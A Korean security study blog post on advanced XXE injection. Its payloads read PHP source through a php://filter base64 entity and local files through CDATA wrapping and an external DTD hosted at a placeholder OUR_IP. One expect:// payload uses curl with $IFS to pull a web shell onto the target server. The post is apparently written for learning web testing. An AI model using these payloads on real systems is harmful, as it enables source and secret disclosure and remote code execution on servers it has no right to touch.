티스토리 뷰

study/web

[web] XXE Injection Advanced

hoppi 2022. 3. 9. 19:59

83번째 글.

XXE Injection에 대해서 기초적인 내용이 필요하다면 -> XXE Injection

 

이번 글에서는 XXE Injection과 연계할 수 있는 유용한 트릭을 정리한다.

 

 

 

1. Reading source code

XXE Injection을 통해서 소스코드에 대한 LFI가 가능해지면 화이트박스 테스트가 가능해진다.

소스코드를 분석하여 더 많은 취약점을 이끌어 낼 수도 있고 데이터베이스 암호, API 키 등을 찾을 수도 있다.

 

위처럼 index.php 파일을 읽기 위해 인젝션을 시도해보면 아무런 텍스트도 찍히지 않는다.

그 이유는 참조하는 파일이 올바른 XML 형식이 아니기 때문에 발생한다.

'</>/&'와 같은 XML 특수문자가 섞여있으면 정상적으로 파싱 되지 않고 외부 엔티티 참조가 끊어지게 된다.

 

다행히도 php의 경우는 wrapper를 이용해서 base64 인코딩을 통해 소스코드를 읽을 수 있다.

<!DOCTYPE test [
  <!ENTITY exploit SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>

php 파일이 base64로 인코딩된 모습

 

 

 

2. RCE with XXE

PHP-based 웹 애플리케이션의 경우에 expect 모듈이 설치되어 있고 그 결과가 페이지에 노출된다면

'expect://id'처럼 간단한 명령줄 하나로 가능하지만 이 경우에 조건이 많이 달려있다.

가장 효율적인 방법은 로컬에 있는 웹쉘 하나를 업로드하는 것이다.

 

<!DOCTYPE test [
  <!ENTITY exploit SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>

$IFS를 사용하여 공백을 우회한 것은 XML 구문을 깨뜨리지 않기 위함이다.

 

 

 

3. Advanced Exfiltration with CDATA

위에서 설명했듯이 php의 경우에는 wrapper를 지원하여 파일을 볼 수 있었다.

그렇다면 다른 타입의 웹 애플리케이션인 경우는 어떻게 해야 할까?

CDATA 태그를 이용하여 LFI이 가능해진다.

CDATA는 [ ] 안의 내용들을 모두 문자열로 처리한다. (ex <![ CDATA [FILE_CONTENT] ]>)

 

<!DOCTYPE test [
  <!ENTITY begin "<![CDATA[">
  <!ENTITY file SYSTEM "file:///var/www/html/test.php">
  <!ENTITY end "]]>">
  <!ENTITY joined "&begin;&file;&end;">
]>

이런 식으로 begin과 end 엔티티를 정의하고 파일의 내용을 CDATA로 감싸주면 된다.

하지만 XML이 외부 및 내부 엔티티를 결합하는 것을 막을 수 있기 때문에 정상적으로 동작하지 않을 수 있다.

그렇기 때문에 파라미터 엔티티를 사용하여 DTD파일 안에서 정의하는 방법이 있다.

 

<!ENTITY joined "%begin;%file;%end;">

다른 점이 있다면 '&'이 아니라 '%'를 써줘야 한다.

아래와 같은 형식이 되겠다.

 

<!DOCTYPE test [
  <!ENTITY % begin "<![CDATA["> <!-- prepend the beginning of the CDATA tag -->
  <!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> <!-- reference external file -->
  <!ENTITY % end "]]>"> <!-- append the end of the CDATA tag -->
  <!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd"> <!-- reference our external DTD -->
  %xxe;
]>
...
<email>&joined;</email> <!-- reference the &joined; entity to print the file content -->

* 최신의 웹 서버에서는 index.php 같은 파일의 읽기를 막고 있기 때문에 정상적으로 동작하지 않을 수 있음.

 

 

 

Reference

 

'study > web' 카테고리의 다른 글

[web] XXE Injection  (0) 2022.03.06
[web] DOM Clobbering  (0) 2021.01.28
[web] About CSP  (2) 2021.01.14
[web] python pickle module(deserialize vulnerability)  (0) 2021.01.07